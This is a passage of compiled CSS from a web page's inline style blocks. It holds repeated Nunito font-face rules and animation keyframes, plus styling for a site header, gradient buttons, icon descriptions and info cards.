font-family: Nunito-SemiBold;
src: url("../fonts/Nunito-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: Nunito-Regular;
src: url("../fonts/Nunito-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: Nunito-Light;
src: url("../fonts/Nunito-Light.ttf");
font-weight: 300; }
/* Nunito Sans Font */
@font-face {
font-family: NunitoSans-Black;
src: url("../fonts/NunitoSans-Black.ttf");
font-weight: 900; }
@font-face {
font-family: NunitoSans-ExtraBold;
src: url("../fonts/NunitoSans-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: NunitoSans-Bold;
src: url("../fonts/NunitoSans-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: NunitoSans-SemiBold;
src: url("../fonts/NunitoSans-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: NunitoSans-Regular;
src: url("../fonts/NunitoSans-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: NunitoSans-Light;
src: url("../fonts/NunitoSans-Light.ttf");
font-weight: 300; }
/* Primary Colors */
/* Secundary Colors */
/* Complementary Colors */
/* Others Colors */
/* Transparents Colors */
/* Shadows */
/* Mixins */
@keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-webkit-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-moz-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-o-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-webkit-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-moz-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-o-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@keyframes loading {
0% {
-moz-transform: rotate(0deg);
-ms-transform: rotate(0deg);
-o-transform: rotate(0deg);
transform: rotate(0deg); }
100% {
-moz-transform: rotate(360deg);
-ms-transform: rotate(360deg);
-o-transform: rotate(360deg);
transform: rotate(360deg); } }
.header {
background: rgba(255, 255, 255, 0.5);
backdrop-filter: blur(20px);
display: flex;
justify-content: space-between;
box-sizing: border-box; }
@media (min-width: 960px) {
.header {
height: 62px;
padding: 19px 24px;
border-bottom: 1px solid #DDE7F0; } }
@media (max-width: 959px) {
.header {
height: 96px;
background: #172A48;
padding: 32px 26px; }
.header.header__default {
background-color: #2A89A2; }
.header.header__black {
background-color: #1A1A1F; }
.header.header__platinum {
background-color: #172A48; } }
.header .header__left {
justify-self: flex-start;
align-self: center; }
.header .header__left .header__welcome {
font-size: 24px;
line-height: 100%;
font-family: Nunito-Bold;
display: flex;
align-items: center;
color: #122e43; }
@media (max-width: 959px) {
.header .header__left .header__welcome {
display: none; } }
.header .header__left .header__menu {
display: none;
align-items: center; }
@media (max-width: 959px) {
.header .header__left .header__menu {
display: flex; } }
.header .header__left .header__menu .header__ico {
margin-right: 16px;
cursor: pointer; }
.header .header__left .header__menu .header__logo {
display: flex; }
.header .header__right {
display: flex;
align-items: center; }
.header .header__right .header__icons {
display: flex; }
.header .header__right .header__icons .header__icon {
display: flex;
align-self: center;
margin: 0 auto; }
.header .header__right .header__icons .header__icon-desktop {
display: none; }
@media (min-width: 960px) {
.header .header__right .header__icons .header__icon-desktop {
display: flex; } }
.header .header__right .header__icons .header__icon-mobile {
display: none; }
@media (max-width: 959px) {
.header .header__right .header__icons .header__icon-mobile {
display: flex;
margin-bottom: 1px; } }
@media (max-width: 959px) {
.header .header__right .header__icons {
background: rgba(255, 255, 255, 0.2);
border-radius: 20px;
width: 32px;
height: 32px; } }
.header .header__right .header__points {
display: flex;
background: #ffffff;
box-shadow: 0px 0px 1px rgba(40, 41, 61, 0.08), 0px 0.5px 2px rgba(96, 97, 112, 0.16);
border-radius: 27px;
padding: 5.6px 6.6px;
margin-right: 34px;
cursor: pointer;
text-decoration: none; }
@media (max-width: 959px) {
.header .header__right .header__points {
display: none; } }
.header .header__right .header__points img {
margin-right: 4.6px;
align-self: center; }
.header .header__right .header__points .points__right {
display: flex;
flex-direction: column; }
.header .header__right .header__points .points__right .points__text {
font-size: 12px;
line-height: 16px;
text-align: right;
color: #122e43;
font-family: Nunito-Regular;
padding-right: 12px; }
.header .header__right .header__points .points__right .points__available {
font-family: Nunito-Regular;
font-size: 14px;
line-height: 19px;
text-align: left;
color: #122e43; }
.header .header__right .header__points .points__right .points__available strong {
font-family: NunitoSans-Bold;
padding-left: 4px; }
.header .header__right .header__user {
cursor: pointer;
margin-right: 28px; }
@media (max-width: 959px) {
.header .header__right .header__user {
margin-right: 16px; } }
.header .header__right .header__user .selectUser__select--mobile {
margin-left: 6px;
margin-top: 5px;
height: auto;
width: 19px; }
.header .header__right .header__user .selectUser__select--desktop .content__desktop {
left: -80px; }
.header .header__right .header__favorite {
cursor: pointer;
margin-right: 28px;
position: relative; }
@media (max-width: 959px) {
.header .header__right .header__favorite {
margin-right: 16px; } }
.header .header__right .header__favorite .favorite__count {
position: absolute;
width: 16px;
height: 16px;
background: #fd5b00;
border: 1px solid #ffffff;
box-sizing: border-box;
font-size: 10px;
line-height: 14px;
color: #ffffff;
font-family: NunitoSans-ExtraBold;
border-radius: 15px;
right: -8px;
top: -8px;
display: flex;
justify-content: center;
text-align: center; }
@media (max-width: 959px) {
.header .header__right .header__favorite .favorite__count {
display: none; } }
.header .header__right .header__pay-account {
cursor: pointer;
margin-right: 28px;
position: relative; }
@media (max-width: 959px) {
.header .header__right .header__pay-account {
margin-right: 16px; } }
.header .header__right .header__news {
cursor: pointer;
margin-right: 5px;
position: relative; }
@media (max-width: 959px) {
.header .header__right .header__news {
display: none; } }
.header .header__right .header__news .news__count {
position: absolute;
width: 16px;
height: 16px;
background: #fd5b00;
border: 1px solid #ffffff;
box-sizing: border-box;
font-size: 10px;
line-height: 14px;
color: #ffffff;
font-family: NunitoSans-ExtraBold;
border-radius: 15px;
right: -8px;
top: -8px;
display: flex;
justify-content: center;
text-align: center; }
.header .header__right .header__points_simplified {
display: none; }
@media (max-width: 959px) {
.header .header__right .header__points_simplified {
text-align: end;
color: #ffffff;
font-family: Nunito-Bold;
display: flex;
flex-direction: column;
justify-content: center;
align-items: flex-end; } }
.header .header__right .header__points_simplified .points__amount {
font-size: 16px;
line-height: 16px; }
.header .header__right .header__points_simplified .points__text {
font-size: 9px;
line-height: 9px;
width: 42px;
display: inline-block; }
</style><style type="text/css">@charset "UTF-8";
/* Nunito Fonts */
@font-face {
font-family: Nunito-Black;
src: url("../fonts/Nunito-Black.ttf");
font-weight: 900; }
@font-face {
font-family: Nunito-ExtraBold;
src: url("../fonts/Nunito-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: Nunito-Bold;
src: url("../fonts/Nunito-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: Nunito-SemiBold;
src: url("../fonts/Nunito-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: Nunito-Regular;
src: url("../fonts/Nunito-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: Nunito-Light;
src: url("../fonts/Nunito-Light.ttf");
font-weight: 300; }
/* Nunito Sans Font */
@font-face {
font-family: NunitoSans-Black;
src: url("../fonts/NunitoSans-Black.ttf");
font-weight: 900; }
@font-face {
font-family: NunitoSans-ExtraBold;
src: url("../fonts/NunitoSans-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: NunitoSans-Bold;
src: url("../fonts/NunitoSans-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: NunitoSans-SemiBold;
src: url("../fonts/NunitoSans-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: NunitoSans-Regular;
src: url("../fonts/NunitoSans-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: NunitoSans-Light;
src: url("../fonts/NunitoSans-Light.ttf");
font-weight: 300; }
/* Primary Colors */
/* Secundary Colors */
/* Complementary Colors */
/* Others Colors */
/* Transparents Colors */
/* Shadows */
/* Mixins */
@keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-webkit-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-moz-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-o-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-webkit-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-moz-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-o-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@keyframes loading {
0% {
-moz-transform: rotate(0deg);
-ms-transform: rotate(0deg);
-o-transform: rotate(0deg);
transform: rotate(0deg); }
100% {
-moz-transform: rotate(360deg);
-ms-transform: rotate(360deg);
-o-transform: rotate(360deg);
transform: rotate(360deg); } }
.gradient-button {
border: 0;
border-radius: 6px;
line-height: 24px;
outline: 0;
cursor: pointer;
-webkit-transition: 0.3s;
-moz-transition: 0.3s;
-ms-transition: 0.3s;
-o-transition: 0.3s;
transition: 0.3s; }
@media (max-width: 727px) {
.gradient-button {
width: 100%; } }
.gradient-button .button__content {
font-family: Nunito-Bold;
display: flex;
justify-content: center;
align-items: center;
color: #ffffff;
white-space: nowrap; }
.gradient-button.button--small {
padding: 8px 30px;
font-size: 14px; }
.gradient-button.button--medium {
padding: 8px 50px;
font-size: 17px; }
.gradient-button.button--large {
padding: 12px 70px;
font-size: 17px; }
.gradient-button.background--purple {
background: linear-gradient(90deg, #ce2aaa 0%, #1d68d8 100%); }
.gradient-button.background--purple:hover {
-webkit-box-shadow: 0px 16px 16px -10px rgba(124, 71, 191, 0.7);
-moz-box-shadow: 0px 16px 16px -10px rgba(124, 71, 191, 0.7);
-ms-box-shadow: 0px 16px 16px -10px rgba(124, 71, 191, 0.7);
-o-box-shadow: 0px 16px 16px -10px rgba(124, 71, 191, 0.7);
box-shadow: 0px 16px 16px -10px rgba(124, 71, 191, 0.7); }
.gradient-button.background--purple:focus {
-webkit-box-shadow: 0px 0px 10px rgba(124, 71, 191, 0.7);
-moz-box-shadow: 0px 0px 10px rgba(124, 71, 191, 0.7);
-ms-box-shadow: 0px 0px 10px rgba(124, 71, 191, 0.7);
-o-box-shadow: 0px 0px 10px rgba(124, 71, 191, 0.7);
box-shadow: 0px 0px 10px rgba(124, 71, 191, 0.7); }
.gradient-button.background--purple:disabled {
background: #dbe2e7;
cursor: no-drop;
-webkit-box-shadow: none;
-moz-box-shadow: none;
-ms-box-shadow: none;
-o-box-shadow: none;
box-shadow: none; }
.gradient-button.background--mandarin {
background: linear-gradient(90deg, #fd5b00 0%, #fd8300 100%); }
.gradient-button.background--mandarin:hover {
-webkit-box-shadow: 0px 16px 16px -10px rgba(255, 122, 2, 0.7);
-moz-box-shadow: 0px 16px 16px -10px rgba(255, 122, 2, 0.7);
-ms-box-shadow: 0px 16px 16px -10px rgba(255, 122, 2, 0.7);
-o-box-shadow: 0px 16px 16px -10px rgba(255, 122, 2, 0.7);
box-shadow: 0px 16px 16px -10px rgba(255, 122, 2, 0.7); }
.gradient-button.background--mandarin:focus {
-webkit-box-shadow: 0px 0px 10px rgba(255, 122, 2, 0.7);
-moz-box-shadow: 0px 0px 10px rgba(255, 122, 2, 0.7);
-ms-box-shadow: 0px 0px 10px rgba(255, 122, 2, 0.7);
-o-box-shadow: 0px 0px 10px rgba(255, 122, 2, 0.7);
box-shadow: 0px 0px 10px rgba(255, 122, 2, 0.7); }
.gradient-button.background--mandarin:disabled {
background: #dbe2e7;
cursor: no-drop;
-webkit-box-shadow: none;
-moz-box-shadow: none;
-ms-box-shadow: none;
-o-box-shadow: none;
box-shadow: none; }
.gradient-button.background--sky {
background: linear-gradient(90deg, #1d68d8 0%, #1ee4ff 100%); }
.gradient-button.background--sky:hover {
-webkit-box-shadow: 0px 16px 16px -10px rgba(45, 156, 219, 0.7);
-moz-box-shadow: 0px 16px 16px -10px rgba(45, 156, 219, 0.7);
-ms-box-shadow: 0px 16px 16px -10px rgba(45, 156, 219, 0.7);
-o-box-shadow: 0px 16px 16px -10px rgba(45, 156, 219, 0.7);
box-shadow: 0px 16px 16px -10px rgba(45, 156, 219, 0.7); }
.gradient-button.background--sky:focus {
-webkit-box-shadow: 0px 0px 10px rgba(45, 156, 219, 0.7);
-moz-box-shadow: 0px 0px 10px rgba(45, 156, 219, 0.7);
-ms-box-shadow: 0px 0px 10px rgba(45, 156, 219, 0.7);
-o-box-shadow: 0px 0px 10px rgba(45, 156, 219, 0.7);
box-shadow: 0px 0px 10px rgba(45, 156, 219, 0.7); }
.gradient-button.background--sky:disabled {
background: #dbe2e7;
cursor: no-drop;
-webkit-box-shadow: none;
-moz-box-shadow: none;
-ms-box-shadow: none;
-o-box-shadow: none;
box-shadow: none; }
.gradient-button.background--emerald {
background: linear-gradient(90deg, #fdf737 0%, #1ab0a7 100%); }
.gradient-button.background--emerald:hover {
-webkit-box-shadow: 0px 16px 16px -10px rgba(4, 197, 50, 0.7);
-moz-box-shadow: 0px 16px 16px -10px rgba(4, 197, 50, 0.7);
-ms-box-shadow: 0px 16px 16px -10px rgba(4, 197, 50, 0.7);
-o-box-shadow: 0px 16px 16px -10px rgba(4, 197, 50, 0.7);
box-shadow: 0px 16px 16px -10px rgba(4, 197, 50, 0.7); }
.gradient-button.background--emerald:focus {
-webkit-box-shadow: 0px 0px 10px rgba(4, 197, 50, 0.7);
-moz-box-shadow: 0px 0px 10px rgba(4, 197, 50, 0.7);
-ms-box-shadow: 0px 0px 10px rgba(4, 197, 50, 0.7);
-o-box-shadow: 0px 0px 10px rgba(4, 197, 50, 0.7);
box-shadow: 0px 0px 10px rgba(4, 197, 50, 0.7); }
.gradient-button.background--emerald:disabled {
background: #dbe2e7;
cursor: no-drop;
-webkit-box-shadow: none;
-moz-box-shadow: none;
-ms-box-shadow: none;
-o-box-shadow: none;
box-shadow: none; }
.gradient-button.background--ocean {
background: linear-gradient(90deg, #005da0 0%, #2d9cdb 100%); }
.gradient-button.background--ocean:hover {
-webkit-box-shadow: 0px 16px 16px -10px rgba(1, 105, 181, 0.7);
-moz-box-shadow: 0px 16px 16px -10px rgba(1, 105, 181, 0.7);
-ms-box-shadow: 0px 16px 16px -10px rgba(1, 105, 181, 0.7);
-o-box-shadow: 0px 16px 16px -10px rgba(1, 105, 181, 0.7);
box-shadow: 0px 16px 16px -10px rgba(1, 105, 181, 0.7); }
.gradient-button.background--ocean:focus {
-webkit-box-shadow: 0px 0px 10px rgba(1, 105, 181, 0.7);
-moz-box-shadow: 0px 0px 10px rgba(1, 105, 181, 0.7);
-ms-box-shadow: 0px 0px 10px rgba(1, 105, 181, 0.7);
-o-box-shadow: 0px 0px 10px rgba(1, 105, 181, 0.7);
box-shadow: 0px 0px 10px rgba(1, 105, 181, 0.7); }
.gradient-button.background--ocean:disabled {
background: #dbe2e7;
cursor: no-drop;
-webkit-box-shadow: none;
-moz-box-shadow: none;
-ms-box-shadow: none;
-o-box-shadow: none;
box-shadow: none; }
</style><style type="text/css">@charset "UTF-8";
/* Nunito Fonts */
@font-face {
font-family: Nunito-Black;
src: url("../fonts/Nunito-Black.ttf");
font-weight: 900; }
@font-face {
font-family: Nunito-ExtraBold;
src: url("../fonts/Nunito-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: Nunito-Bold;
src: url("../fonts/Nunito-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: Nunito-SemiBold;
src: url("../fonts/Nunito-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: Nunito-Regular;
src: url("../fonts/Nunito-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: Nunito-Light;
src: url("../fonts/Nunito-Light.ttf");
font-weight: 300; }
/* Nunito Sans Font */
@font-face {
font-family: NunitoSans-Black;
src: url("../fonts/NunitoSans-Black.ttf");
font-weight: 900; }
@font-face {
font-family: NunitoSans-ExtraBold;
src: url("../fonts/NunitoSans-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: NunitoSans-Bold;
src: url("../fonts/NunitoSans-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: NunitoSans-SemiBold;
src: url("../fonts/NunitoSans-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: NunitoSans-Regular;
src: url("../fonts/NunitoSans-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: NunitoSans-Light;
src: url("../fonts/NunitoSans-Light.ttf");
font-weight: 300; }
/* Primary Colors */
/* Secundary Colors */
/* Complementary Colors */
/* Others Colors */
/* Transparents Colors */
/* Shadows */
/* Mixins */
@keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-webkit-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-moz-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-o-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-webkit-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-moz-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-o-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@keyframes loading {
0% {
-moz-transform: rotate(0deg);
-ms-transform: rotate(0deg);
-o-transform: rotate(0deg);
transform: rotate(0deg); }
100% {
-moz-transform: rotate(360deg);
-ms-transform: rotate(360deg);
-o-transform: rotate(360deg);
transform: rotate(360deg); } }
.icon-description {
display: flex;
font-family: Nunito-Regular;
align-items: center; }
.icon-description.icon-description--transparent .icon-description--icon {
background-color: #ffffff; }
.icon-description.icon-description--transparent .icon-description--description {
font-family: NunitoSans-SemiBold;
color: #416179; }
.icon-description.icon-description--dark .icon-description--icon {
background-color: #122e43; }
.icon-description.icon-description--dark .icon-description--description {
color: #ffffff; }
.icon-description.icon-description--light .icon-description--icon {
background-color: #ecf2f8; }
.icon-description.icon-description--light .icon-description--description {
color: #416179; }
.icon-description.icon-description--horizontal {
justify-content: space-around;
width: 182px; }
.icon-description.icon-description--horizontal .icon-description--icon {
margin-right: 12px; }
.icon-description.icon-description--horizontal .icon-description--description {
display: flex;
align-items: center;
width: 122px;
font-size: 14px;
line-height: 16px; }
.icon-description.icon-description--vertical {
flex-direction: column;
justify-content: center;
width: 155px; }
.icon-description.icon-description--vertical .icon-description--icon {
margin-bottom: 4px; }
.icon-description.icon-description--vertical .icon-description--description {
font-size: 14px;
line-height: 16px;
text-align: center; }
.icon-description .icon-description--icon {
display: flex;
align-items: center;
justify-content: center;
border-radius: 50%;
width: 48px;
height: 48px; }
.icon-description img {
height: 21px;
width: 21px; }
</style><style type="text/css">@charset "UTF-8";
/* Nunito Fonts */
@font-face {
font-family: Nunito-Black;
src: url("../fonts/Nunito-Black.ttf");
font-weight: 900; }
@font-face {
font-family: Nunito-ExtraBold;
src: url("../fonts/Nunito-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: Nunito-Bold;
src: url("../fonts/Nunito-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: Nunito-SemiBold;
src: url("../fonts/Nunito-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: Nunito-Regular;
src: url("../fonts/Nunito-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: Nunito-Light;
src: url("../fonts/Nunito-Light.ttf");
font-weight: 300; }
/* Nunito Sans Font */
@font-face {
font-family: NunitoSans-Black;
src: url("../fonts/NunitoSans-Black.ttf");
font-weight: 900; }
@font-face {
font-family: NunitoSans-ExtraBold;
src: url("../fonts/NunitoSans-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: NunitoSans-Bold;
src: url("../fonts/NunitoSans-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: NunitoSans-SemiBold;
src: url("../fonts/NunitoSans-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: NunitoSans-Regular;
src: url("../fonts/NunitoSans-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: NunitoSans-Light;
src: url("../fonts/NunitoSans-Light.ttf");
font-weight: 300; }
/* Primary Colors */
/* Secundary Colors */
/* Complementary Colors */
/* Others Colors */
/* Transparents Colors */
/* Shadows */
/* Mixins */
@keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-webkit-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-moz-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-o-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-webkit-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-moz-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-o-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@keyframes loading {
0% {
-moz-transform: rotate(0deg);
-ms-transform: rotate(0deg);
-o-transform: rotate(0deg);
transform: rotate(0deg); }
100% {
-moz-transform: rotate(360deg);
-ms-transform: rotate(360deg);
-o-transform: rotate(360deg);
transform: rotate(360deg); } }
.info--card__container {
width: 766px;
display: flex;
justify-content: space-between;
align-items: center;
background-color: #ffffff;
padding: 40px;
box-sizing: border-box;
-webkit-box-shadow: 0px 9px 40px rgba(152, 182, 204, 0.25);
-moz-box-shadow: 0px 9px 40px rgba(152, 182, 204, 0.25);
-ms-box-shadow: 0px 9px 40px rgba(152, 182, 204, 0.25);
-o-box-shadow: 0px 9px 40px rgba(152, 182, 204, 0.25);
box-shadow: 0px 9px 40px rgba(152, 182, 204, 0.25);
border-radius: 6px; }
.info--card__container.info--card--default {
border: 1px solid #d4e3f2; }
.info--card__container.info--card--information {
border: 1px solid #0169b5; }
.info--card__container.info--card--success {
border: 1px solid #04c532; }
.info--card__container.info--card--warning {
border: 1px solid #feb638; }
.info--card__container.info--card--error {
border: 1px solid #ff4858; }
.info--card__container .container__left {
width: 50%; }
.info--card__container .container__left .left__title {
font-family: Nunito-Bold;
margin: 0 0 16px 0; }
.info--card__container .container__left .left__title.title--default {
color: #122e43; }
.info--card__container .container__left .left__title.title--information {
color: #0169b5; }
.info--card__container .container__left .left__title.title--success {
color: #04c532; }
.info--card__container .container__left .left__title.title--warning {
color: #feb638; }
.info--card__container .container__left .left__title.title--error {
color: #ff4858; }
.info--card__container .container__left .left__title.title--large {
font-size: 34px;
line-height: 34px; }
.info--card__container .container__left .left__title.title--small {
font-size: 20px;
line-height: 25px; }
.info--card__container .container__left .left__title div {
font-family: Nunito-Bold; }
.info--card__container .container__left .left__children p {
font-family: NunitoSans-Regular;
font-size: 16px;
line-height: 21px;
color: #416179;
margin: 0 0 8px 0; }
.info--card__container .container__left .left__children p:last-child {
margin: 0; }
.info--card__container .container__left .left__image {
display: none; }
.info--card__container .container__left .button {
margin-top: 16px; }
.info--card__container .container__right .right__image {
width: 100%; }
@media (max-width: 727px) {
.info--card__container {
width: 100%;
padding: 16px;
flex-direction: column; }
.info--card__container .container__left {
width: 100%; }
.info--card__container .container__left .left__title.title--large {
font-size: 26px;
line-height: 26px; }
.info--card__container .container__left .left__image {
display: block;
width: 100%;
margin-top: 16px; }
.info--card__container .container__right {
display: none; } }
</style><style type="text/css">@charset "UTF-8";
/* Nunito Fonts */
@font-face {
font-family: Nunito-Black;
src: url("../fonts/Nunito-Black.ttf");
font-weight: 900; }
@font-face {
font-family: Nunito-ExtraBold;
src: url("../fonts/Nunito-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: Nunito-Bold;
src: url("../fonts/Nunito-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: Nunito-SemiBold;
src: url("../fonts/Nunito-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: Nunito-Regular;
src: url("../fonts/Nunito-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: Nunito-Light;
src: url("../fonts/Nunito-Light.ttf");
font-weight: 300; }
/* Nunito Sans Font */
@font-face {
font-family: NunitoSans-Black;
src: url("../fonts/NunitoSans-Black.ttf");
font-weight: 900; }
@font-face {
font-family: NunitoSans-ExtraBold;
src: url("../fonts/NunitoSans-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: NunitoSans-Bold;
src: url("../fonts/NunitoSans-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: NunitoSans-SemiBold;
src: url("../fonts/NunitoSans-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: NunitoSans-Regular;
src: url("../fonts/NunitoSans-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: NunitoSans-Light;
src: url("../fonts/NunitoSans-Light.ttf");
font-weight: 300; }
/* Primary Colors */
/* Secundary Colors */
/* Complementary Colors */
/* Others Colors */
/* Transparents Colors */
/* Shadows */
/* Mixins */
@keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-webkit-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-moz-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-o-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes fadeIn {
0% {
opacity: 0; }
100% {
